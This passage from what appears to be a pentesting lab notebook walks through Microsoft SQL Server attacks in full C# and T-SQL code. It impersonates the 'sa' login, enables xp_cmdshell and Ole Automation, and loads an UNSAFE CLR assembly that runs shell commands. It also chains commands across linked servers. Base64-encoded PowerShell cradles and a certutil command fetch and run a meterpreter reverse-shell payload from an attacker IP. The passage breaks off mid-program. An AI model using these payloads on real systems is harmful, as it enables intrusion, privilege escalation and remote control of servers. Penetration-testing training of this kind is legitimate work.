namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
